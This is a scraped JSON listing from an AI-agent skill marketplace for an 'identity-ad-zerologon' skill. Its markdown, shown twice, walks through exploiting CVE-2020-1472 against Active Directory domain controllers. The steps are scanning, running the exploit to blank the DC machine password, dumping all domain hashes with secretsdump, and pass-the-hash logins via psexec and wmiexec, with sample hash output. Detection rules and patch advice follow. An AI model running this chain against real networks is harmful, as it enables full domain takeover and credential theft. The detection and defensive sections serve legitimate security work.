[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71DF10KFJ1X7MHVAWW7Q8PZ":3,"skill-same:01M71DF10KFJ1X7MHVAWW7Q8PZ":65},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":33,"linkOnly":34,"markdownContent":35,"markdownBody":36,"frontMatter":37,"refName":38,"commitSha":39,"skillDirectory":40,"forksCount":14,"repositoryHtmlUrl":41,"repositoryHomepageUrl":6,"ownerHtmlUrl":42,"ownerBlogUrl":6,"ownerDescription":43,"updatedAt":44,"install":45,"resources":58},"01M71DF10KFJ1X7MHVAWW7Q8PZ","identity-ad-zerologon",null,"-| | T1068        | Exploitation for Privilege Escalation | Privilege Escalation | | T1210        | Exploitation of Remote Services       | Lateral Movement     | | T1003.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fidentity-ad-zerologon\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32],"identity","zerologon","ad","identity ad zerologon","cybersecurity","services","escalation","exploitation","t1003","remote","lateral movement","privilege escalation","for","privilege","2026-11-10 10:12:30",false,"---\nname: identity-ad-zerologon\ndescription: \"-| | T1068        | Exploitation for Privilege Escalation | Privilege Escalation | | T1210        | Exploitation of Remote Services       | Lateral Movement     | | T1003.\"\ndomain: cybersecurity\n---\n\n-|\n| T1068        | Exploitation for Privilege Escalation | Privilege Escalation |\n| T1210        | Exploitation of Remote Services       | Lateral Movement     |\n| T1003.006    | OS Credential Dumping: DCSync         | Credential Access    |\n| T1078.002    | Valid Accounts: Domain Accounts       | Persistence          |\n\n## Vulnerability Technical Details\n\n### Root Cause\n\nThe Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:\n\n1. The IV is hardcoded to **16 bytes of zeros**\n2. When the plaintext is **8 bytes of zeros**, AES-CFB8 produces a ciphertext of **all zeros** with probability **1 in 256**\n3. An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed\n\n### Affected Systems\n\n- Windows Server 2008 R2 through Windows Server 2019\n- All domain controllers running unpatched Netlogon service\n- Samba versions \u003C 4.8 (if running as AD DC)\n\n## Step 1: Identify Vulnerable Domain Controllers\n\n```bash\n# Scan for domain controllers\nnmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0\u002F24\n\n# Check if DC is vulnerable using zerologon checker\npython3 zerologon_tester.py DC01 10.10.10.1\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.1 -M zerologon\n```\n\n## Step 2: Exploit Zerologon\n\n```bash\n# Using Impacket's CVE-2020-1472 exploit\n# This sets the DC machine account password to empty\npython3 cve_2020_1472.py DC01$ 10.10.10.1\n\n# Expected output:\n# Performing authentication attempts...\n# =========================================\n# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)\n# NetrServerPasswordSet2 call was successful\n# DC01$ machine account password set to empty string\n```\n\n## Step 3: DCSync with Empty Password\n\n```bash\n# Use the empty hash to perform DCSync\nsecretsdump.py -no-pass -just-dc corp.local\u002FDC01\\$@10.10.10.1\n\n# Output includes all domain hashes:\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::\n# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::\n# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::\n\n# Alternatively, dump specific accounts\nsecretsdump.py -no-pass corp.local\u002FDC01\\$@10.10.10.1 \\\n  -just-dc-user Administrator\n```\n\n## Step 4: Obtain Domain Admin Access\n\n```bash\n# Pass the Hash with Administrator NTLM\npsexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \\\n  corp.local\u002FAdministrator@10.10.10.1\n\n# Or use wmiexec for stealthier access\nwmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \\\n  corp.local\u002FAdministrator@10.10.10.1\n```\n\n## Step 5: Restore Machine Account Password (CRITICAL)\n\n**WARNING**: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.\n\n```bash\n# Method 1: Use the exploit's restore functionality\npython3 restorepassword.py corp.local\u002FDC01@DC01 -target-ip 10.10.10.1 \\\n  -hexpass \u003Coriginal_hex_password>\n\n# Method 2: Force machine account password change from DC\n# Connect to DC as Administrator and run:\nnetdom resetpwd \u002Fserver:DC01 \u002Fuserd:CORP\\Administrator \u002Fpasswordd:*\n\n# Method 3: Restart the DC (it will auto-regenerate machine password)\n# This is the safest method but causes downtime\n```\n\n## Detection\n\n### Windows Event Logs\n\n```\nEvent ID 4742: A computer account was changed\n- Look for: DC$ account with password change\n- Anomaly: Multiple 4742 events for DC$ in short period\n\nEvent ID 5805: Netlogon authentication failure\n- Multiple failures followed by success = Zerologon attempt\n\nEvent ID 4624 (Type 3): Network logon\n- DC$ account logging in from unexpected IP\n```\n\n### Network Detection\n\n```yaml\n# Suricata rule for Zerologon\nalert dcerpc any any -> any any (\n  msg:\"ET EXPLOIT Possible Zerologon NetrServerReqChallenge\";\n  flow:established,to_server;\n  dce_opnum:4;\n  content:\"|00 00 00 00 00 00 00 00|\";\n  sid:2030870;\n  rev:1;\n)\n```\n\n### Sigma Rule\n\n```yaml\ntitle: Zerologon Exploitation Attempt\nstatus: stable\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection:\n        EventID: 5805\n        LogonType: 3\n    timeframe: 5m\n    condition: selection | count(EventID) > 100\nlevel: critical\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2020.1472\n```\n\n## Defensive Recommendations\n\n1. **Apply patches immediately** - KB4571694 (August 2020) and enforce February 2021 mode\n2. **Enable enforcement mode** via registry: `FullSecureChannelProtection = 1`\n3. **Monitor Event ID 5805** for repeated Netlogon failures\n4. **Deploy Microsoft Defender for Identity** (detects Zerologon automatically)\n5. **Network segmentation** - Restrict direct access to DCs from user networks\n6. **Block Netlogon RPC** from non-DC systems where possible\n\n## References\n\n- CVE-2020-1472: https:\u002F\u002Fmsrc.microsoft.com\u002Fupdate-guide\u002Fvulnerability\u002FCVE-2020-1472\n- Secura Whitepaper: https:\u002F\u002Fwww.secura.com\u002Fblog\u002Fzero-logon\n- CrowdStrike Advisory: https:\u002F\u002Fwww.crowdstrike.com\u002Fblog\u002Fcve-2020-1472-zerologon-security-advisory\u002F\n- CISA Alert AA20-283A: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Fcybersecurity-advisories\u002Faa20-283a\n- Microsoft Enforcement: https:\u002F\u002Fsupport.microsoft.com\u002Fen-us\u002Ftopic\u002Fhow-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24\n","-|\n| T1068        | Exploitation for Privilege Escalation | Privilege Escalation |\n| T1210        | Exploitation of Remote Services       | Lateral Movement     |\n| T1003.006    | OS Credential Dumping: DCSync         | Credential Access    |\n| T1078.002    | Valid Accounts: Domain Accounts       | Persistence          |\n\n## Vulnerability Technical Details\n\n### Root Cause\n\nThe Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:\n\n1. The IV is hardcoded to **16 bytes of zeros**\n2. When the plaintext is **8 bytes of zeros**, AES-CFB8 produces a ciphertext of **all zeros** with probability **1 in 256**\n3. An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed\n\n### Affected Systems\n\n- Windows Server 2008 R2 through Windows Server 2019\n- All domain controllers running unpatched Netlogon service\n- Samba versions \u003C 4.8 (if running as AD DC)\n\n## Step 1: Identify Vulnerable Domain Controllers\n\n```bash\n# Scan for domain controllers\nnmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0\u002F24\n\n# Check if DC is vulnerable using zerologon checker\npython3 zerologon_tester.py DC01 10.10.10.1\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.1 -M zerologon\n```\n\n## Step 2: Exploit Zerologon\n\n```bash\n# Using Impacket's CVE-2020-1472 exploit\n# This sets the DC machine account password to empty\npython3 cve_2020_1472.py DC01$ 10.10.10.1\n\n# Expected output:\n# Performing authentication attempts...\n# =========================================\n# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)\n# NetrServerPasswordSet2 call was successful\n# DC01$ machine account password set to empty string\n```\n\n## Step 3: DCSync with Empty Password\n\n```bash\n# Use the empty hash to perform DCSync\nsecretsdump.py -no-pass -just-dc corp.local\u002FDC01\\$@10.10.10.1\n\n# Output includes all domain hashes:\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::\n# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::\n# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::\n\n# Alternatively, dump specific accounts\nsecretsdump.py -no-pass corp.local\u002FDC01\\$@10.10.10.1 \\\n  -just-dc-user Administrator\n```\n\n## Step 4: Obtain Domain Admin Access\n\n```bash\n# Pass the Hash with Administrator NTLM\npsexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \\\n  corp.local\u002FAdministrator@10.10.10.1\n\n# Or use wmiexec for stealthier access\nwmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \\\n  corp.local\u002FAdministrator@10.10.10.1\n```\n\n## Step 5: Restore Machine Account Password (CRITICAL)\n\n**WARNING**: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.\n\n```bash\n# Method 1: Use the exploit's restore functionality\npython3 restorepassword.py corp.local\u002FDC01@DC01 -target-ip 10.10.10.1 \\\n  -hexpass \u003Coriginal_hex_password>\n\n# Method 2: Force machine account password change from DC\n# Connect to DC as Administrator and run:\nnetdom resetpwd \u002Fserver:DC01 \u002Fuserd:CORP\\Administrator \u002Fpasswordd:*\n\n# Method 3: Restart the DC (it will auto-regenerate machine password)\n# This is the safest method but causes downtime\n```\n\n## Detection\n\n### Windows Event Logs\n\n```\nEvent ID 4742: A computer account was changed\n- Look for: DC$ account with password change\n- Anomaly: Multiple 4742 events for DC$ in short period\n\nEvent ID 5805: Netlogon authentication failure\n- Multiple failures followed by success = Zerologon attempt\n\nEvent ID 4624 (Type 3): Network logon\n- DC$ account logging in from unexpected IP\n```\n\n### Network Detection\n\n```yaml\n# Suricata rule for Zerologon\nalert dcerpc any any -> any any (\n  msg:\"ET EXPLOIT Possible Zerologon NetrServerReqChallenge\";\n  flow:established,to_server;\n  dce_opnum:4;\n  content:\"|00 00 00 00 00 00 00 00|\";\n  sid:2030870;\n  rev:1;\n)\n```\n\n### Sigma Rule\n\n```yaml\ntitle: Zerologon Exploitation Attempt\nstatus: stable\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection:\n        EventID: 5805\n        LogonType: 3\n    timeframe: 5m\n    condition: selection | count(EventID) > 100\nlevel: critical\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2020.1472\n```\n\n## Defensive Recommendations\n\n1. **Apply patches immediately** - KB4571694 (August 2020) and enforce February 2021 mode\n2. **Enable enforcement mode** via registry: `FullSecureChannelProtection = 1`\n3. **Monitor Event ID 5805** for repeated Netlogon failures\n4. **Deploy Microsoft Defender for Identity** (detects Zerologon automatically)\n5. **Network segmentation** - Restrict direct access to DCs from user networks\n6. **Block Netlogon RPC** from non-DC systems where possible\n\n## References\n\n- CVE-2020-1472: https:\u002F\u002Fmsrc.microsoft.com\u002Fupdate-guide\u002Fvulnerability\u002FCVE-2020-1472\n- Secura Whitepaper: https:\u002F\u002Fwww.secura.com\u002Fblog\u002Fzero-logon\n- CrowdStrike Advisory: https:\u002F\u002Fwww.crowdstrike.com\u002Fblog\u002Fcve-2020-1472-zerologon-security-advisory\u002F\n- CISA Alert AA20-283A: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Fcybersecurity-advisories\u002Faa20-283a\n- Microsoft Enforcement: https:\u002F\u002Fsupport.microsoft.com\u002Fen-us\u002Ftopic\u002Fhow-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24\n",{"name":5,"domain":23,"description":7},"main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fidentity-ad-zerologon","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":46,"prompt":56,"zipAvailable":57},[47,50,53],{"tool":48,"command":49},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill identity-ad-zerologon",{"tool":51,"command":52},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill identity-ad-zerologon",{"tool":54,"command":55},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill identity-ad-zerologon","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fidentity-ad-zerologon\u002FSKILL.md",true,[59],{"path":60,"resourceType":61,"resourceTypeDesc":62,"sizeBytes":63,"sourceHtmlUrl":64},"index.json","REFERENCE","参考文档",633,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fidentity-ad-zerologon\u002Findex.json",[66,76,100,121,143,163],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":70,"licenseFileUrl":71,"sourceHtmlUrl":72,"categories":73,"keywords":74,"publishedAt":75},"01M73MDK3NT5XHNYTQ5P5172V9","devel-jb-algorithmic-art","- Embed algorithms inline in the HTML artifact (don't create separate .","Apache-2.0","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":33},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[24,83,84,85,86,87,88,23,89,90,91,92,93,94,95,96,97,98,99],"detect","services wmi persistence detect","wmi","persistence","process-forensics","process","forensics","t1546.003","event-subscription","subscription","repository","commandline-consumer","subscriptions","event","activescript","cm","de",{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":106,"publishedAt":33},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[107,85,108,24,109,110,111,112,113,23,114,28,115,116,117,118,29,119,99,120],"exec","services wmi exec exploit","exploit","across","Bash","analysis","team","traffic","crackmapexec","Impacket","lateral-movement","read","command","native",{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":33},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[128,129,130,131,132,133,134,135,136,137,118,99,138,139,112,140,111,23,141,142],"extract","registry artifact extract","registry","artifact","digital-forensics","sonnet","regripper","windows-registry","evidence-collection","software","uncover","analyze","collection","artifact-analysis","activity",{"skillNo":144,"name":145,"nameZh":6,"description":146,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":147,"categories":148,"keywords":149,"publishedAt":33},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[150,151,152,83,23,153,98,25,154,155,87,99,156,157,158,26,159,160,161,162],"processes","token","processes token impersonate detect","techniques","windows","attacks","via","impersonation","potato","printspoofer","token-impersonation","seimpersonate","privilege-escalation",{"skillNo":164,"name":165,"nameZh":6,"description":166,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":167,"categories":168,"keywords":169,"publishedAt":33},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[170,150,171,83,172,173,88,99,156,174,175,176,112,87,23,153,177,98,178,154],"thread","injection","processes thread injection detect","thread-injection","nt-api","apc-injection","api","process-injection","memory"]